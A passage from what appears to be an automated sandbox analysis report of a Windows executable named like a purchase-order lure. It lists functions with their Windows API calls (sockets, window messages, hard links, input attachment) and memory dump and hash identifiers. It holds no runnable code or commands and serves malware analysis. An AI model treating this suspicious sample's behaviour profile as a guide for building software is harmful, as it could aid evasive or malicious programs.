                                                                                                                                                                      • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
                                                                                                                                                                      • VariantCopy.OLEAUT32(?,?), ref: 00478259
                                                                                                                                                                      • VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
                                                                                                                                                                      • VariantCopy.OLEAUT32(-00000078,?), ref: 00478287
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CopyVariant$ErrorLast
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2286883814-0
                                                                                                                                                                      • Opcode ID: 5518b7b53ef3ca50261af568c513a59c65815d8cf0fffae25230fe941ba47538
                                                                                                                                                                      • Instruction ID: 2d87100fc18953c9afe9b7e879878e48daa4ef19e0256d9a4550ae3fa38499cf
                                                                                                                                                                      • Opcode Fuzzy Hash: 5518b7b53ef3ca50261af568c513a59c65815d8cf0fffae25230fe941ba47538
                                                                                                                                                                      • Instruction Fuzzy Hash: 5F517C751543409FC310DF69C880A9BBBE4FF88314F448A6EF9499B352DB39E909CB99
                                                                                                                                                                      Function 0047404B Relevance: 6.1, APIs: 4, Instructions: 133networkCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • socket.WSOCK32(00000002,00000002,00000011), ref: 00474068
                                                                                                                                                                      • WSAGetLastError.WSOCK32(00000000,00000002,00000002,00000011), ref: 00474076
                                                                                                                                                                      • #21.WSOCK32 ref: 004740E0
                                                                                                                                                                      • WSAGetLastError.WSOCK32(00000000), ref: 004740EB
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ErrorLast$socket
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1881357543-0
                                                                                                                                                                      • Opcode ID: 49e735c62c31738b54d4bbc911449ab864d290153f15be7477df25c465b7d9f8
                                                                                                                                                                      • Instruction ID: ff1742a21ceaee7448286ece46cbaad1fa76dded649dcd1b12ff87c083dae87e
                                                                                                                                                                      • Opcode Fuzzy Hash: 49e735c62c31738b54d4bbc911449ab864d290153f15be7477df25c465b7d9f8
                                                                                                                                                                      • Instruction Fuzzy Hash: 7641D9717403006AE720BF6ADC47F5672C89B54B18F14496EF648BF2C3D6FAA881869C
                                                                                                                                                                      Function 00441CB4 Relevance: 6.1, APIs: 4, Instructions: 112windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • ClientToScreen.USER32(00000000,?), ref: 00441CDE
                                                                                                                                                                      • GetWindowRect.USER32(?,?), ref: 00441D5A
                                                                                                                                                                      • PtInRect.USER32(?,?,?), ref: 00441D6F
                                                                                                                                                                      • MessageBeep.USER32(00000000), ref: 00441DF2
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Rect$BeepClientMessageScreenWindow
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1352109105-0
                                                                                                                                                                      • Opcode ID: f335056d542ece3fcaf1afd85692f97af485635a3f9ffa8235448c3f06d12885
                                                                                                                                                                      • Instruction ID: 11ad13a84751b34e4f8a983c71a6a29643224e7bbeba0240db3aabd8edeb2108
                                                                                                                                                                      • Opcode Fuzzy Hash: f335056d542ece3fcaf1afd85692f97af485635a3f9ffa8235448c3f06d12885
                                                                                                                                                                      • Instruction Fuzzy Hash: E64192B5A042418FE710DF18D884AABB7E5FFC9311F18866FE8518B360D734AC85CBA5
                                                                                                                                                                      Function 0042384A Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0042387E
                                                                                                                                                                      • __isleadbyte_l.LIBCMT ref: 004238B2
                                                                                                                                                                      • MultiByteToWideChar.KERNEL32(?,00000009,00000002,?,00000000,00000000,?,?,?,00000000,00000002,00000000), ref: 004238E3
                                                                                                                                                                      • MultiByteToWideChar.KERNEL32(?,00000009,00000002,00000001,00000000,00000000,?,?,?,00000000,00000002,00000000), ref: 00423951
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3058430110-0
                                                                                                                                                                      • Opcode ID: f131ee11c0d220cb2dc6b3da44158834730645c68ebbd2a61d5b0c3ed448205f
                                                                                                                                                                      • Instruction ID: 550681b3841f0f34ee613cb5364b25607849a03987ccfca5eaaec14299199b49
                                                                                                                                                                      • Opcode Fuzzy Hash: f131ee11c0d220cb2dc6b3da44158834730645c68ebbd2a61d5b0c3ed448205f
                                                                                                                                                                      • Instruction Fuzzy Hash: A931C270B00265EFDB20EF64D8849AA7BF5EF01312B9445AAF0A09F291D338CE81CB55
                                                                                                                                                                      Function 0045D070 Relevance: 6.1, APIs: 4, Instructions: 100fileCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • CreateHardLinkW.KERNEL32(00000000,?,00000000,?,00000000), ref: 0045D10A
                                                                                                                                                                      • GetLastError.KERNEL32(?,00000000), ref: 0045D12B
                                                                                                                                                                      • DeleteFileW.KERNEL32(00000000,?), ref: 0045D14C
                                                                                                                                                                      • CreateHardLinkW.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 0045D16A
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CreateHardLink$DeleteErrorFileLast
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3321077145-0
                                                                                                                                                                      • Opcode ID: 7cd5f2a63614e36a101d3a24e32b13d83311d412b7f68151a30e37c1c693f1dc
                                                                                                                                                                      • Instruction ID: 240381fd0e223f31e6bb83dc4f900fe278965bce5f9bbaa9f824fb1079ab41c9
                                                                                                                                                                      • Opcode Fuzzy Hash: 7cd5f2a63614e36a101d3a24e32b13d83311d412b7f68151a30e37c1c693f1dc
                                                                                                                                                                      • Instruction Fuzzy Hash: 393180B5900301ABCB10AF71C985A1BF7E8AF84755F10891EF85497392C739FC45CB68
                                                                                                                                                                      Function 0045058D Relevance: 6.1, APIs: 4, Instructions: 98COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetParent.USER32(?), ref: 004505BF
                                                                                                                                                                      • DefDlgProcW.USER32(?,00000138,?,?,004A83D8,?,004A83D8,?), ref: 00450610
                                                                                                                                                                      • DefDlgProcW.USER32(?,00000133,?,?,004A83D8,?,004A83D8,?), ref: 0045065A
                                                                                                                                                                      • DefDlgProcW.USER32(?,00000134,?,?,004A83D8,?,004A83D8,?), ref: 00450688
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Proc$Parent
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2351499541-0
                                                                                                                                                                      • Opcode ID: 93bb19dea30658450b5dada9832e261aba4ffbe4fc891123e7e77a8d6405a749
                                                                                                                                                                      • Instruction ID: e3e31f905615dd8bfbe674c7a91f48f64006a8638b4dc9b760805e547d05c650
                                                                                                                                                                      • Opcode Fuzzy Hash: 93bb19dea30658450b5dada9832e261aba4ffbe4fc891123e7e77a8d6405a749
                                                                                                                                                                      • Instruction Fuzzy Hash: 8C3128362411006BC2209B299C58DBB7B58EBC7336F14465BFA54832D3CB769826C768
                                                                                                                                                                      Function 004613E0 Relevance: 6.1, APIs: 4, Instructions: 90windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 00438C85: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00438C95
                                                                                                                                                                        • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                      • SendMessageW.USER32(00000000,0000102C,00000000,00000002), ref: 00461420
                                                                                                                                                                      • SendMessageW.USER32(00000000,0000102C,00000000,00000002), ref: 0046144F
                                                                                                                                                                      • __itow.LIBCMT ref: 00461461
                                                                                                                                                                      • __itow.LIBCMT ref: 004614AB
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: MessageSend$__itow$_wcslen
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2875217250-0
                                                                                                                                                                      • Opcode ID: 347b44770508ca88cf5981266e998b528a2978f718c0dd2978777487f2c1d3f7
                                                                                                                                                                      • Instruction ID: b65c482f8247f617b799fd724a7506577ebf884cdb52d0d4602b18db992df379
                                                                                                                                                                      • Opcode Fuzzy Hash: 347b44770508ca88cf5981266e998b528a2978f718c0dd2978777487f2c1d3f7
                                                                                                                                                                      • Instruction Fuzzy Hash: 3A213D7670031067D210BA169C86FAFB794EB94714F08443FFF44AB241EE69E94687EB
                                                                                                                                                                      Function 0040E1E0 Relevance: 6.1, APIs: 4, Instructions: 82windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • _memset.LIBCMT ref: 0040E202
                                                                                                                                                                      • Shell_NotifyIconW.SHELL32(00000000,?), ref: 0040E2C7
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: IconNotifyShell__memset
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 928536360-0
                                                                                                                                                                      • Opcode ID: a8f79553875ba5cd412c6e6f6aef719f94b94a7ff7df26053db2d04cf48d3506
                                                                                                                                                                      • Instruction ID: 9c6d99eda8392314e00a4319cd3b9f491a6d528882fc0aac3328a2d60ab56ec1
                                                                                                                                                                      • Opcode Fuzzy Hash: a8f79553875ba5cd412c6e6f6aef719f94b94a7ff7df26053db2d04cf48d3506
                                                                                                                                                                      • Instruction Fuzzy Hash: FC318170608701DFD320DF25D845B97BBF8BB45304F00486EE99A93380E778A958CF5A
                                                                                                                                                                      Function 004727F8 Relevance: 6.1, APIs: 4, Instructions: 82COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetForegroundWindow.USER32 ref: 00472806
                                                                                                                                                                        • Part of subcall function 00443EEF: GetWindowThreadProcessId.USER32(00000001,00000000), ref: 00443F11
                                                                                                                                                                        • Part of subcall function 00443EEF: GetCurrentThreadId.KERNEL32 ref: 00443F18
                                                                                                                                                                        • Part of subcall function 00443EEF: AttachThreadInput.USER32(00000000), ref: 00443F1F
                                                                                                                                                                      • GetCaretPos.USER32(?), ref: 0047281A
                                                                                                                                                                      • ClientToScreen.USER32(00000000,?), ref: 00472856
                                                                                                                                                                      • GetForegroundWindow.USER32 ref: 0047285C
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2759813231-0
                                                                                                                                                                      • Opcode ID: f08c9821fa495b0e17bd1c697e1e5286648ea95901ecf1a9ceb1535147bec3ee
                                                                                                                                                                      • Instruction ID: 38f02bd9b1f6bed34cfa7ce2d7f69328ba3456287a0ba45db7850a86b8391dd2
                                                                                                                                                                      • Opcode Fuzzy Hash: f08c9821fa495b0e17bd1c697e1e5286648ea95901ecf1a9ceb1535147bec3ee
                                                                                                                                                                      • Instruction Fuzzy Hash: FF2195716403056FE310EF65CC42F5BB7E8AF84708F144D2EF544AB282D6FAB9858795
                                                                                                                                                                      Function 0047721A Relevance: 6.1, APIs: 4, Instructions: 73COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 0046DD22: IsWindow.USER32(00000000), ref: 0046DD51
                                                                                                                                                                      • GetWindowLongW.USER32(?,000000EC), ref: 0047728E
                                                                                                                                                                      • SetWindowLongW.USER32(?,000000EC,00000000), ref: 004772A9
                                                                                                                                                                      • SetWindowLongW.USER32(?,000000EC,00000000), ref: 004772C0
                                                                                                                                                                      • SetLayeredWindowAttributes.USER32(?,00000000,?,00000002,?,000000EC,00000000,?,000000EC,?,00000001,?,?), ref: 004772D0
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Window$Long$AttributesLayered
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2169480361-0
                                                                                                                                                                      • Opcode ID: cf64f2ba38e7b8586118add57273b6dbf74680437e58013ae8f64db123384f26
                                                                                                                                                                      • Instruction ID: faea1ea985e506ac999786301d765d91882fdca708237d94abe4bce3661c65f1
                                                                                                                                                                      • Opcode Fuzzy Hash: cf64f2ba38e7b8586118add57273b6dbf74680437e58013ae8f64db123384f26
                                                                                                                                                                      • Instruction Fuzzy Hash: 5F11B431205510ABD310FB29DD45F9BB798FF91720F10862EF455E72E2C7A8AC45C7A8
                                                                                                                                                                      Function 00448C8B Relevance: 6.1, APIs: 4, Instructions: 73windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SendMessageW.USER32 ref: 00448CB8
                                                                                                                                                                      • GetWindowLongW.USER32(?,000000EC), ref: 00448CE0
                                                                                                                                                                      • SendMessageW.USER32(?,0000104C,00000000,?), ref: 00448D19
                                                                                                                                                                      • SendMessageW.USER32(?,0000102B,00000000,?), ref: 00448D62
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: MessageSend$LongWindow
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 312131281-0
                                                                                                                                                                      • Opcode ID: 75ae646de43e531ea10203f5aba75cb55710deee3f48b72b110124c921b55059
                                                                                                                                                                      • Instruction ID: 9d6bf2a2f0cb0d5184a29e15ea511504db1ac53b4253ca88fa0f688086887250
                                                                                                                                                                      • Opcode Fuzzy Hash: 75ae646de43e531ea10203f5aba75cb55710deee3f48b72b110124c921b55059
                                                                                                                                                                      • Instruction Fuzzy Hash: B12174715053019BF3208F18D98879FB7E4FBD5325F140B2EF594962D0DBB58449C796
                                                                                                                                                                      Function 004588B0 Relevance: 6.1, APIs: 4, Instructions: 67networkCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • select.WSOCK32 ref: 0045890A
                                                                                                                                                                      • __WSAFDIsSet.WSOCK32(00000000,00000000), ref: 00458919
                                                                                                                                                                      • accept.WSOCK32(00000000,00000000,00000000,00000000,00000000), ref: 00458927
                                                                                                                                                                      • WSAGetLastError.WSOCK32(00000000), ref: 00458952
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ErrorLastacceptselect
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 385091864-0
                                                                                                                                                                      • Opcode ID: abc1db9f2e63247cad6e2e0496bedee0f0acb9a353b4738024f17ecaf3b799d2
                                                                                                                                                                      • Instruction ID: 93f38c3b8a65fd8a68e5265ae944391143789c71a4918893f245a539b4228a7d
                                                                                                                                                                      • Opcode Fuzzy Hash: abc1db9f2e63247cad6e2e0496bedee0f0acb9a353b4738024f17ecaf3b799d2
                                                                                                                                                                      • Instruction Fuzzy Hash: 1F2166712043019BD314EF29C842BABB7E5AFC4714F144A2EF994DB2C1DBB4A985CB99
                                                                                                                                                                      Function 00438D4E Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SendMessageW.USER32(?,000000B0,?,?), ref: 00438D6F
                                                                                                                                                                      • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00438D82
                                                                                                                                                                      • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00438D9A
                                                                                                                                                                      • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00438DB4
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: MessageSend
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3850602802-0
                                                                                                                                                                      • Opcode ID: 265964968b448329a9940c71d90cafee1d95b27ec759889be900fe0a368f8aeb
                                                                                                                                                                      • Instruction ID: 707762f1bc06eebb59e9357f9c77b20c0e090dcf7cedc03b298b4f863176c0ea
                                                                                                                                                                      • Opcode Fuzzy Hash: 265964968b448329a9940c71d90cafee1d95b27ec759889be900fe0a368f8aeb
                                                                                                                                                                      • Instruction Fuzzy Hash: 77113AB6204305AFD210EF58DC84F6BF7E8EBE8750F20491EF580D7290D6B1A8468BA1
                                                                                                                                                                      Function 0043362D Relevance: 6.1, APIs: 4, Instructions: 54windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • CreateWindowExW.USER32(?,?,?,FFFFFFFF,?,?,?,?,?,?,00400000,00000000), ref: 0043367E
                                                                                                                                                                      • GetStockObject.GDI32(00000011), ref: 00433695
                                                                                                                                                                      • SendMessageW.USER32(00000000,00000030,00000000), ref: 0043369F
                                                                                                                                                                      • ShowWindow.USER32(00000000,00000000), ref: 004336BA
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
